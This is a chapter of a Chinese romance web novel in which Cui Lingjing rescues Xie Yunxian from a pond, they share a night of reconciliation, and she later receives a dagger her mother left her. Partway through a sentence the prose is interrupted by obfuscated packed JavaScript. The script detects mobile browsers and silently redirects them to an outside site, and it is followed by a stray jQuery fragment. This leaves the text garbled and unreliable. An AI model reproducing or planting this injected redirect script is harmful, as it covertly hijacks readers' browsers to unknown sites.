他如今变成这样,算是恶有恶报,并不值得同情。 谢云闲松开他,转身要走,却被崔净风扯入雨幕中,大雨兜头而下,将她从头到脚都淋湿了。 纸伞落在地上,推搡间,崔净风脚下打滑,谢云闲下意识去拉他,将他拉住了,自己却重心不稳。 “扑通”一声,谢云闲失足跌入池中,没了声息。 “你!谢云闲!”崔净风惊呼出声。 他手足无措地站在风雨里,脸上露出真实的茫然。 一个身影冲了过来,纵身一跃,跳入了水中。 “崔……” 那人很快浮出水面,一手揽着谢云闲,两人都湿透了。 “崔灵景?”崔净风愣愣道。 崔灵景压根没看他,抱着谢云闲从池里上来,身手轻盈。 “她……” 谢云闲冷得浑身发抖,崔净风目光呆滞,说不出话来。 一种陌生的名为愧疚的情绪将他席卷。 他有心害谢云闲,到头来却是谢云闲救了自己。 崔灵景脸色比这池水还要冰冷,沉沉地盯着他。 崔净风第一次见到这样的崔灵景,整个人都被唬住了。 滂沱大雨里,崔灵景一抬脚。 ——崔净风被踹入池中。 “公子——公子——” 不远处,有几人提着灯笼匆忙赶来,边跑边喊。 崔灵景无动于衷,恍若未闻,将怀中人搂紧,抱着人大步离开。 走了一段路,怀里的人咳了起来。 她呛了水,意识还未合拢,身体便做出了反应。 春水冰凉,她身体微颤,无意识往崔灵景温暖的胸膛靠了靠。 察觉到她的小动作,崔灵景低下头问:“很冷吗?” 谢云闲在他怀里低低“嗯”了一声。 “再等一会。” “你怎么……没……走……” “我清楚崔净风是什么人,你跟他在一块,我不放心。” 崔灵景加快脚步,将她抱回了崔府。 回到房中,谢云闲彻底清醒过来。在采薇服侍下,她换了身干净衣服,随后被崔灵景塞进了被褥里,还被塞了一个手炉。 谢云闲睁着两只圆溜溜的眼睛看他,“我没事了,你快去换衣服。” 崔灵景在冷风冷雨里站了许久,又跳入池里救她,此时脸色也不太好看。他点点头,走了出去。 折腾了一晚上,谢云闲身疲力竭,天都快亮了,她才终于有了点睡意。 不过她强撑着没睡,睁着双目,平躺着等崔灵景。 崔灵景很快回来了,见她还没睡,问:“可是哪里不适?” 谢云闲摇头。 崔灵景愣了一下,随后他掀开被子,也躺了进去。 “谢谢。”谢云闲道。 崔灵景侧头看她,长发垂落在耳侧,露出一张白净的侧脸,未着粉墨,却如出水芙蓉。 被褥之下,崔灵景伸手,探寻到她的手。她的手捂了许久手炉,暖烘烘的。 “还冷吗?” 谢云闲摇头,埋在被子里,声音闷闷地问:“会不会加重你的病情啊?” 崔灵景一愣,“什么?” 谢云闲转过头,小声道:“卫大夫跟我说了你小时候的事。” 屋外狂风怒号,暴雨倾盆,屋内香薰缭绕,烛火温暖。谢云闲陷于床榻被褥间,安然舒坦,感觉身体里的寒意一点点被驱散。 “他怎么跟你说的?” 谢云闲便将卫大夫的话复述了一遍。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883567|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是困意漫了上来,谢云闲的声音低回轻柔,如吐出绵绵蚕丝,“你为何要将那人推入冰湖?” “他是失足跌落,并非我所致。” 谢云闲听了这话,清醒了不少,“他诬陷你?” “嗯,不过也算我先动手。”崔灵景道,“我与崔昊水先前并无抵牾,只是那次他醉了酒,母亲无意冲撞了他,他大发雷霆,对母亲言语侮辱,我一气之下跟他动了手。那时天寒地滑,他一时不慎就跌入了湖中。” 崔灵景声如清泉,“其实那夜只跪了半个时辰,膝盖受不住,便又站了两个时辰。那日不算冷,并未下雪,没那么惨。” 谢云闲自然听得出他在宽解她,但还是忍不住安慰道:“没事了,以后不会这样了。” 崔灵景却笑了:“夫人心疼我了?” 谢云闲眼神不自然地看向别处。 “卫大夫怎会无缘无故提及此事?” 谢云闲反应过来,脸蓦地一红。 被子底下,崔灵景攥紧了那双温暖的手,“关心我?” 为何谢云闲对他态度大转变,现在来看,他寻到了答案。 谢云闲知他在调侃自己,脸上有点挂不住,想转过去,却被崔灵景伸长胳膊一揽,整个人被迫翻了个身,被他搂进了怀里。 “喂。”谢云闲戳戳他的胳膊,表示不满。 “有点冷,抱一下。” “那我把手炉给你……” 崔灵景却不松手,谢云闲挣扎了一下,无果,便放弃了,放松身体,安静地被他搂在怀里。 他的怀抱很温暖。 这几日发生了太多事。 而此时,二人心有灵犀,都没有提起这些烦心事。谢云闲没问他与崔净风的事,崔灵景也没问她为何会出现在那里。 难得的默契,让他们在这短暂的几个时辰里,依偎着彼此的温度,温暖地度过一个风雨交加的寒夜。 …… 第二日天气稍有好转,磅礴大雨转成朦胧细雨,织起了一层薄薄雨雾。 用过早膳,谢云闲去医馆探望荷华。 荷华已经醒了,意识也很清醒,只是身体还是很虚弱,脸上无血色,躺在榻上行动不便。 “好好躺着,着急什么。”谢云闲按住她肩膀。 “姑娘……我……”荷华泪眼汪汪。 “我知道你要说什么。”谢云闲安抚她,“崔灵景找了个小丫鬟来照顾我,年纪不大,但安分纯良,你大可放心。” “荷华给姑娘添麻烦了……” 谢云闲生气道:“你这什么话?你的伤是为我受的呢,要不我给你磕个头?” 荷华:“您、您别吓我!” “那你别自责,别乱说话。”谢云闲给她倒了杯水。 “嗯……”荷华接过,慢慢喝了起来。 她将杯子放下,忽然道:“姑娘,我有事要跟您说。” 谢云闲环顾四周,并无他人,便道:“你说罢。” “白夫人给您留了一样东西,放在我那褐色木匣里,钥匙在我枕头底下。” 谢云闲完全没料到,一怔,“是什么东西?” “您去看看便知。” “为何之前不给我?” 荷华低声道:“白夫人说,若您遇到危险,再把那东西给您。” “……” 阿娘,您早有预料吗? 谢云闲起身,匆匆道:“我现在回去了。” 荷华点头:“嗯,姑娘慢走。” …… 谢云闲不知自己是如何走回崔府,又是如何奔向荷华卧房,翻出那个匣子的。 她只记得,自己捧着匣子的手禁不住发抖,打开匣子的那一刻,一把雕花匕首闯入眼帘。 谢云闲颤着手,拿起那把匕首,虔诚地捧在手里。 这把匕首极为漂亮,通体金色,刀柄刻着绿萝纹饰,头尖而薄,崭新无痕,泛着冷光。 没有遗言,只有一把匕首。